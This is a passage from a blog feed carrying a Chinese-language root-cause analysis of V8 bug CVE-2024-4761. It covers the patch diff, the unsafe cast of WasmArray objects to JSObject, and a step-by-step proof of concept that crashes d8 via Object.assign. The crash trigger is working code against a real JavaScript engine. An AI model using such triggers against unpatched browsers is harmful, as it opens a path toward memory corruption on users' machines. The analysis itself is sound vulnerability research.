class="params">(map-&gt;instance_descriptors(isolate),</span></span></span><br><span class="line"><span class="params"><span class="function">                                      isolate)</span></span>;</span><br><span class="line"></span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">UNREACHABLE</span>();</span><br><span class="line">&#125;</span><br><span class="line">&#125;  <span class="comment">// namespace</span></span><br></pre></td></tr></table></figure><p>因此只要from的elements不是fixed empty array的, 那么<code>FastAssign()</code>​就会退出</p><p>‍</p><h2 id="3-漏洞根因"><a class="markdownIt-Anchor" href="#3-漏洞根因"></a> 3. 漏洞根因</h2><p>根据漏洞修复的diff:</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc</span></span><br><span class="line"><span class="comment">index c3f5d31..13b787f 100644</span></span><br><span class="line"><span class="comment">--- a/src/objects/js-objects.cc</span></span><br><span class="line"><span class="comment">+++ b/src/objects/js-objects.cc</span></span><br><span class="line"><span class="meta">@@ -434,9 +434,7 @@</span></span><br><span class="line">       Nothing&lt;bool&gt;());</span><br><span class="line"> </span><br><span class="line">   if (!from-&gt;HasFastProperties() &amp;&amp; target-&gt;HasFastProperties() &amp;&amp;</span><br><span class="line"><span class="deletion">-      !IsJSGlobalProxy(*target)) &#123;</span></span><br><span class="line"><span class="deletion">-    // JSProxy is always in slow-mode.</span></span><br><span class="line"><span class="deletion">-    DCHECK(!IsJSProxy(*target));</span></span><br><span class="line"><span class="addition">+      IsJSObject(*target) &amp;&amp; !IsJSGlobalProxy(*target)) &#123;</span></span><br><span class="line">     // Convert to slow properties if we&#x27;re guaranteed to overflow the number of</span><br><span class="line">     // descriptors.</span><br><span class="line">     int source_length;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>‍</p><p>问题出现在调用<code>NormalizeProperties(target)</code>​的逻辑上, 调用<code>JSObject::NormalizeProperties()</code>​前额外限制了<code>target</code>​必须是<code>JSObject</code>​</p><ul><li>在打上这个Patch之前: 调用<code>NormalizeProperties()</code>​时会执行<code>Handle&lt;JSObject&gt;::cast(target)</code>​把target强制转换为<code>JSObject</code>​类型</li><li>但是根据参数声明: <code>Handle&lt;JSReceiver&gt; target</code>​只能保证<code>target</code>​是<code>JSReceiver</code>​</li><li>因此<strong>​<code>Handle&lt;JSObject&gt;::cast(target)</code>​</strong> ​<strong>这个强制类型转换是不安全的</strong></li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">Maybe&lt;<span class="type">bool</span>&gt; <span class="title">JSReceiver::SetOrCopyDataProperties</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    Isolate* isolate, </span></span></span><br><span class="line"><span class="params"><span class="function">    Handle&lt;JSReceiver&gt; target,     <span class="comment">// &lt;===</span></span></span></span><br><span class="line"><span class="params"><span class="function">    Handle&lt;Object&gt; source,</span></span></span><br><span class="line"><span class="params"><span class="function">    PropertiesEnumerationMode mode,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">const</span> base::ScopedVector&lt;Handle&lt;Object&gt;&gt;* excluded_properties,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">bool</span> use_set)</span> </span>&#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="comment">// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象</span></span><br><span class="line">  <span class="keyword">if</span> (!from-&gt;<span class="built_in">HasFastProperties</span>() &amp;&amp; target-&gt;<span class="built_in">HasFastProperties</span>() &amp;&amp;</span><br><span class="line">      !<span class="built_in">IsJSGlobalProxy</span>(*target)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> source_length;    <span class="comment">// source中属性的个数</span></span><br><span class="line">    ...</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制</span></span><br><span class="line">    <span class="comment">// 那么就把target中的fast properties都转换为dictionary properties</span></span><br><span class="line">    <span class="comment">// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来</span></span><br><span class="line">    <span class="keyword">if</span> (source_length &gt; kMaxNumberOfDescriptors) &#123;</span><br><span class="line">      JSObject::<span class="built_in">NormalizeProperties</span>(isolate, Handle&lt;JSObject&gt;::<span class="built_in">cast</span>(target),</span><br><span class="line">                                    CLEAR_INOBJECT_PROPERTIES, source_length,</span><br><span class="line">                                    <span class="string">&quot;Copying data properties&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>​<code>JSReceiver</code>​与<code>JSObject</code>​的区别如下, <strong>​<code>JSReceiver</code>​</strong>​<strong>比</strong>​<strong>​<code>JSObject</code>​</strong>​<strong>少了一个</strong>​<strong>​<code>elements</code>​</strong>​<strong>字段</strong></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">JSReceiver</span> extends HeapObject &#123;</span><br><span class="line">  properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">JSObject</span> extends JSReceiver &#123;</span><br><span class="line">  elements: FixedArrayBase;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>因此: <strong>当</strong>​<strong>​<code>target</code>​</strong>​<strong>是</strong>​<strong>​<code>JSReceive</code>​</strong>​<strong>的子类型, 但又不是</strong>​<strong>​<code>JSObject</code>​</strong>​<strong>类型时, 就会触发漏洞</strong></p><p>根据<code>out.gn/CVE-2024-4761/gen/torque-generated/instance-types.h</code>​中的类继承关系, 满足条件的只有<code>JS_PROXY_TYPE</code>​, <code>WASM_ARRAY_TYPE</code>​, <code>WASM_STRUCT_TYPE</code>​三种类型.</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">  <span class="built_in">V</span>(FIRST_JS_RECEIVER_TYPE, <span class="number">290</span>) \</span><br><span class="line">    <span class="built_in">V</span>(FIRST_WASM_OBJECT_TYPE, <span class="number">290</span>) \</span><br><span class="line">      <span class="built_in">V</span>(WASM_ARRAY_TYPE, <span class="number">290</span>) <span class="comment">/* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&amp;c=1 */</span>\</span><br><span class="line">      <span class="built_in">V</span>(WASM_STRUCT_TYPE, <span class="number">291</span>) <span class="comment">/* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&amp;c=1 */</span>\</span><br><span class="line">    <span class="built_in">V</span>(LAST_WASM_OBJECT_TYPE, <span class="number">291</span>) \</span><br><span class="line">    <span class="built_in">V</span>(JS_PROXY_TYPE, <span class="number">292</span>) <span class="comment">/* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&amp;c=1 */</span>\</span><br><span class="line">    <span class="built_in">V</span>(FIRST_JS_OBJECT_TYPE, <span class="number">293</span>) \</span><br><span class="line">      ... <span class="comment">// JSObject的子类</span></span><br><span class="line">    <span class="built_in">V</span>(LAST_JS_OBJECT_TYPE, <span class="number">2165</span>) \</span><br><span class="line">  <span class="built_in">V</span>(LAST_JS_RECEIVER_TYPE, <span class="number">2165</span>) \</span><br><span class="line"><span class="built_in">V</span>(LAST_HEAP_OBJECT_TYPE, <span class="number">2165</span>) \</span><br></pre></td></tr></table></figure><p><strong>看得出之前在编写</strong>​<strong>​<code>SetOrCopyDataProperties()</code>​</strong> ​<strong>的代码时只考虑到了</strong>​<strong>​<code>JS_PROXY_TYPE</code>​</strong>​<strong>的情况, 所以进行了过滤, 但是后面添加</strong>​<strong>​<code>WASM_ARRAY_TYPE, WASM_STRUCT_TYPE</code>​</strong>​<strong>时没有考虑到</strong>​<strong>​<code>SetOrCopyDataProperties()</code>​</strong> ​ <strong>, 由此导致了漏洞</strong></p><p>‍</p><h2 id="4-构造poc"><a class="markdownIt-Anchor" href="#4-构造poc"></a> 4. 构造POC</h2><h3 id="41-创建wasmarray对象"><a class="markdownIt-Anchor" href="#41-创建wasmarray对象"></a> 4.1 创建<code>WasmArray</code>​对象</h3><p>那么如何构造出一个<code>WasmArray</code>​对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此<code>wat2wasm</code>​这个工具目前也不支持<code>array.new</code>​这种语法, 因此只能通过<code>wasm-module-builder</code>​构造:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> prefix = <span class="string">&quot;../../&quot;</span>;</span><br><span class="line"></span><br><span class="line">d<span class="number">8.f</span>ile.<span class="built_in">execute</span>(`$&#123;prefix&#125;/test/mjsunit/wasm/wasm-<span class="keyword">module</span>-builder.js`);</span><br><span class="line"></span><br><span class="line">let builder = <span class="keyword">new</span> <span class="built_in">WasmModuleBuilder</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加一个WasmArray类型, 元素类型为I32, 可变</span></span><br><span class="line">let array = builder.<span class="built_in">addArray</span>(kWasmI32, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">builder.<span class="built_in">addFunction</span>(    <span class="comment">// 添加名字为createArray的wasm函数</span></span><br><span class="line">        <span class="string">&#x27;createArray&#x27;</span>, </span><br><span class="line">        <span class="built_in">makeSig</span>([kWasmI32], [kWasmExternRef])    <span class="comment">// 函数签名: [kWasmI32]=&gt;[kWasmExternRef]</span></span><br><span class="line">    ).<span class="built_in">addBody</span>([    <span class="comment">// 生成函数体</span></span><br><span class="line">            kExprLocalGet, <span class="number">0</span>,    <span class="comment">// 栈上push局部变量0, 也就是函数kWasmI32类型的参数</span></span><br><span class="line">            kGCPrefix, kExprArrayNewDefault, array,    <span class="comment">// 创建array类型的数组, 元素为i32的默认值</span></span><br><span class="line">            kGCPrefix, kExprExternConvertAny,    <span class="comment">// 把wasm的值包装为Extern类型</span></span><br><span class="line">    ]).<span class="built_in">exportFunc</span>();    <span class="comment">// 导出这个函数</span></span><br><span class="line"></span><br><span class="line">let instance = builder.<span class="built_in">instantiate</span>(&#123;&#125;);    <span class="comment">// 构建wasm实例</span></span><br><span class="line">let wasm = instance.exports;    <span class="comment">// 获取导入的函数</span></span><br><span class="line">let array42 = wasm.<span class="built_in">createArray</span>(<span class="number">42</span>);    <span class="comment">// 42为wasm array的长度</span></span><br><span class="line">%<span class="built_in">DebugPrint</span>(array42);</span><br></pre></td></tr></table></figure><p>构造出<code>WasmArray</code>​对象后就要想办法进入<code>JSObject::NormalizeProperties(isolate, Handle&lt;JSObject&gt;::cast(target)</code>​</p><p>‍</p><h3 id="42-进入setorcopydataproperties"><a class="markdownIt-Anchor" href="#42-进入setorcopydataproperties"></a> 4.2 进入<code>SetOrCopyDataProperties()</code>​</h3><p>对于<code>Object.assign(...)</code>​</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="keyword">from</span> = &#123;&#125;;</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(array42, <span class="keyword">from</span>);</span><br></pre></td></tr></table></figure><p>​<code>Object.assign()</code>​调用<code>Builtin::kSetDataProperties</code>​ 处理, 但是fast path: <code>SetOrCopyDataProperties()</code>​就可以直接完成</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">TF_BUILTIN</span>(<span class="params">SetDataProperties, SetOrCopyDataPropertiesAssembler</span>) &#123;</span><br><span class="line">  auto target = <span class="title class_">Parameter</span>&lt;<span class="title class_">JSReceiver</span>&gt;(<span class="title class_">Descriptor</span>::kTarget);</span><br><span class="line">  auto source = <span class="title class_">Parameter</span>&lt;<span class="title class_">Object</span>&gt;(<span class="title class_">Descriptor</span>::kSource);</span><br><span class="line">  auto context = <span class="title class_">Parameter</span>&lt;<span class="title class_">Context</span>&gt;(<span class="title class_">Descriptor</span>::kContext);</span><br><span class="line"></span><br><span class="line">  <span class="title class_">Label</span> <span class="title function_">if_runtime</span>(<span class="variable language_">this</span>, <span class="title class_">Label</span>::kDeferred);</span><br><span class="line">  <span class="comment">// 强制进入slow path</span></span><br><span class="line">  <span class="title class_">GotoIfForceSlowPath</span>(&amp;if_runtime);   </span><br><span class="line">  <span class="comment">// 尝试fast path</span></span><br><span class="line">  <span class="title class_">SetOrCopyDataProperties</span>(context, target, source, &amp;if_runtime, <span class="attr">base</span>::nullopt,</span><br><span class="line">                          <span class="attr">base</span>::nullopt, <span class="literal">true</span>);</span><br><span class="line">  <span class="title class_">Return</span>(<span class="title class_">UndefinedConstant</span>());</span><br><span class="line"></span><br><span class="line">  <span class="title function_">BIND</span>(&amp;if_runtime);</span><br><span class="line">  <span class="title class_">TailCallRuntime</span>(<span class="title class_">Runtime</span>::kSetDataProperties, context, target, source);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为了不进入<code>SetOrCopyDataProperties()</code>​, 只需要让<code>job(from)-&gt;elements</code>​非空这样就可以进入<code>SetOrCopyDataProperties()</code>​</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// job(from)-&gt;elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理</span></span><br><span class="line"><span class="keyword">let</span> <span class="keyword">from</span> = &#123;&#125;;</span><br><span class="line"><span class="keyword">from</span>[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(array42, <span class="keyword">from</span>);</span><br></pre></td></tr></table></figure><p>‍</p><h3 id="43-触发normalizeproperties"><a class="markdownIt-Anchor" href="#43-触发normalizeproperties"></a> 4.3 触发<code>NormalizeProperties()</code>​</h3><p>进入<code>SetOrCopyDataProperties()</code>​</p><ol><li><p>只要from的elements非空, FastAssign()就无法处理, 进入slow path部分</p></li><li><p>首先要满足<code>!from-&gt;HasFastProperties() &amp;&amp; target-&gt;HasFastProperties()</code>​</p><ol><li>​<code>target-&gt;HasFastProperties()</code>​恒成立, <code>WasmArray::properties</code>​为<code>kEmptyFixedArray</code>​</li><li>想要满足<code>!from-&gt;HasFastProperties()</code>​, 只需要让<code>from</code>​的<code>properties</code>​通过字典实现即可</li></ol></li><li><p>​<code>source_length &gt; kMaxNumberOfDescriptors</code>​: 需要让<code>from</code>​中properties超过<code>kMaxNumberOfDescriptors</code>​个, 也就是<code>1020</code>​个, 那么就可以成功进入<code>NormalizeProperties(..., target)</code>​</p></li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Maybe</span>&lt;bool&gt; <span class="title class_">JSReceiver</span>::<span class="title class_">SetOrCopyDataProperties</span>(</span><br><span class="line">    <span class="title class_">Isolate</span>* isolate, </span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">JSReceiver</span>&gt; target,     <span class="comment">// &lt;===</span></span><br><span class="line">    <span class="title class_">Handle</span>&lt;<span class="title class_">Object</span>&gt; source,</span><br><span class="line">    <span class="title class_">PropertiesEnumerationMode</span> mode,</span><br><span class="line">    <span class="keyword">const</span> <span class="attr">base</span>::<span class="title class_">ScopedVector</span>&lt;<span class="title class_">Handle</span>&lt;<span class="title class_">Object</span>&gt;&gt;* excluded_properties,</span><br><span class="line">    bool use_set) &#123;</span><br><span class="line">  <span class="comment">// [1] 只要from的elements非空, FastAssign()就无法处理</span></span><br><span class="line">  <span class="title class_">Maybe</span>&lt;bool&gt; fast_assign =</span><br><span class="line">      <span class="title class_">FastAssign</span>(isolate, target, source, mode, excluded_properties, use_set);</span><br><span class="line">  <span class="keyword">if</span> (fast_assign.<span class="title class_">IsNothing</span>()) <span class="keyword">return</span> <span class="title class_">Nothing</span>&lt;bool&gt;();</span><br><span class="line">  <span class="keyword">if</span> (fast_assign.<span class="title class_">FromJust</span>()) <span class="keyword">return</span> <span class="title class_">Just</span>(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line">  <span class="comment">// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象</span></span><br><span class="line">  <span class="keyword">if</span> (!<span class="keyword">from</span>-&gt;<span class="title class_">HasFastProperties</span>() &amp;&amp; target-&gt;<span class="title class_">HasFastProperties</span>() &amp;&amp;</span><br><span class="line">      !<span class="title class_">IsJSGlobalProxy</span>(*target)) &#123;</span><br><span class="line"></span><br><span class="line">    int source_length;    <span class="comment">// source中属性的个数</span></span><br><span class="line">    ...</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制</span></span><br><span class="line">    <span class="comment">// 那么就把target中的fast properties都转换为dictionary properties</span></span><br><span class="line">    <span class="comment">// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来</span></span><br><span class="line">    <span class="keyword">if</span> (source_length &gt; kMaxNumberOfDescriptors) &#123;</span><br><span class="line">      <span class="title class_">JSObject</span>::<span class="title class_">NormalizeProperties</span>(isolate, <span class="title class_">Handle</span>&lt;<span class="title class_">JSObject</span>&gt;::<span class="title function_">cast</span>(target),</span><br><span class="line">                                    <span class="variable constant_">CLEAR_INOBJECT_PROPERTIES</span>, source_length,</span><br><span class="line">                                    <span class="string">&quot;Copying data properties&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此这部分poc如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// job(from)-&gt;elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理</span></span><br><span class="line"><span class="keyword">let</span> <span class="keyword">from</span> = &#123;&#125;;</span><br><span class="line"><span class="keyword">from</span>[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加properties, 使得job(from)-&gt;properties通过字典实现, 让!from-&gt;HasFastProperties()成立</span></span><br><span class="line"><span class="comment">// properties个数超过1020, 让source_length &gt; kMaxNumberOfDescriptors成立</span></span><br><span class="line"><span class="comment">// 最终触发JSObject::NormalizeProperties(..., Handle&lt;JSObject&gt;::cast(target), ...)</span></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;<span class="number">1021</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">from</span>[<span class="string">&#x27;p&#x27;</span>+i] = i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(array42, <span class="keyword">from</span>);</span><br></pre></td></tr></table></figure><p>‍</p><h3 id="44-完整poc"><a class="markdownIt-Anchor" href="#44-完整poc"></a> 4.4 完整POC</h3><p>最终下面这样的POC即可触发crash</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> prefix = <span class="string">&quot;../../&quot;</span>;</span><br><span class="line"></span><br><span class="line">d8.<span class="property">file</span>.<span class="title function_">execute</span>(<span class="string">`<span class="subst">$&#123;prefix&#125;</span>/test/mjsunit/wasm/wasm-module-builder.js`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> builder = <span class="keyword">new</span> <span class="title class_">WasmModuleBuilder</span>();</span><br><span class="line"><span class="keyword">let</span> array = builder.<span class="title function_">addArray</span>(kWasmI32, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">builder.<span class="title function_">addFunction</span>(<span class="string">&#x27;createArray&#x27;</span>, <span class="title function_">makeSig</span>([kWasmI32], [kWasmExternRef]))</span><br><span class="line">    .<span class="title function_">addBody</span>([</span><br><span class="line">        kExprLocalGet, <span class="number">0</span>,</span><br><span class="line">        kGCPrefix, kExprArrayNewDefault, array,</span><br><span class="line">        kGCPrefix, kExprExternConvertAny,</span><br><span class="line">    ]).<span class="title function_">exportFunc</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> instance = builder.<span class="title function_">instantiate</span>(&#123;&#125;);</span><br><span class="line"><span class="keyword">let</span> wasm = instance.<span class="property">exports</span>;</span><br><span class="line"><span class="keyword">let</span> array42 = wasm.<span class="title function_">createArray</span>(<span class="number">42</span>);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(array42);</span><br><span class="line"></span><br><span class="line"><span class="comment">// job(from)-&gt;elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理</span></span><br><span class="line"><span class="keyword">let</span> <span class="keyword">from</span> = &#123;&#125;;</span><br><span class="line"><span class="keyword">from</span>[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加properties, 使得job(from)-&gt;properties通过字典实现, 让!from-&gt;HasFastProperties()成立</span></span><br><span class="line"><span class="comment">// properties个数超过1020, 让source_length &gt; kMaxNumberOfDescriptors成立</span></span><br><span class="line"><span class="comment">// 最终触发JSObject::NormalizeProperties(..., Handle&lt;JSObject&gt;::cast(target), ...)</span></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;<span class="number">1021</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">from</span>[<span class="string">&#x27;p&#x27;</span>+i] = i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(array42, <span class="keyword">from</span>);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p>crash如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#</span><br><span class="line"># <span class="title class_">Fatal</span> error <span class="keyword">in</span> ../../src/objects/map-inl.<span class="property">h</span>, line <span class="number">344</span></span><br><span class="line"># <span class="title class_">Debug</span> check <span class="attr">failed</span>: <span class="title class_">IsJSObjectMap</span>(*<span class="variable language_">this</span>).</span><br><span class="line">#</span><br><span class="line">#</span><br></pre></td></tr></table></figure><p>‍</p><h2 id="5-总结"><a class="markdownIt-Anchor" href="#5-总结"></a> 5. 总结</h2><p>这个漏洞的根因在于支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判.</p><p>实际上随着wasm模块的发展, 随之而来的漏洞源源不断. 对于漏洞挖掘工作提供了重要的启发: 一定关注新代码, 因为新的代码往往是最容易被攻击的部分. 他们在开发过程中必须格外留意，确保旧有的代码能够安全地处理新的代码。在我们的&quot;城堡&quot;上打开新的一扇&quot;小门&quot;时，我们必须谨记，绝不能忘记对这扇新开的&quot;小门&quot;进行严格的安全检查。</p><p>‍</p><p>‍</p><h2 id="6-reference"><a class="markdownIt-Anchor" href="#6-reference"></a> 6. Reference</h2><ul><li><a href="https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html">https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html</a></li><li><a href="https://chromium-review.googlesource.com/c/v8/v8/+/5527397">https://chromium-review.googlesource.com/c/v8/v8/+/5527397</a></li><li><a href="https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub">https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;‍&lt;/p&gt;
&lt;h2 id=&quot;1-前言&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#1-前言&quot;&gt;&lt;/a&gt; 1. 前言&lt;/h2&gt;
&lt;p&gt;在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡，城墙高大坚固，把敌人挡在外面。你的城堡有唯一的入口，那就是一个重门深锁、有严格守卫检查的大门。然后，为了增加便利性，你决定在城堡的另一侧增加一个小门，方便城堡内的人快速出入。然而，你&lt;strong&gt;在增加这个新功能后，忘记了对这个小门进行同样严格的防御和检查&lt;/strong&gt;。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查，通过这个没有守卫的小门轻易进入城堡。&lt;/p&gt;
&lt;p&gt;本次要讲述的漏洞CVE-2024-4761就是&lt;strong&gt;城堡的小门&lt;/strong&gt;: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查.&lt;/p&gt;
&lt;p&gt;本文着重于漏洞分析, 尝试从patch开始一步步构建出POC.</summary>
    
    
    
    
    <category term="v8_CVE_2024_4761" scheme="https://dawnslab.jd.com/tags/v8-CVE-2024-4761/"/>
    
  </entry>
  
  <entry>
    <title>安卓GPU漏洞攻防介绍</title>
    <link href="https://dawnslab.jd.com/android_gpu_attack_defence_introduction/"/>
    <id>https://dawnslab.jd.com/android_gpu_attack_defence_introduction/</id>
    <published>2025-01-23T08:29:55.000Z</published>
    <updated>2025-08-21T06:15:23.848Z</updated>
    
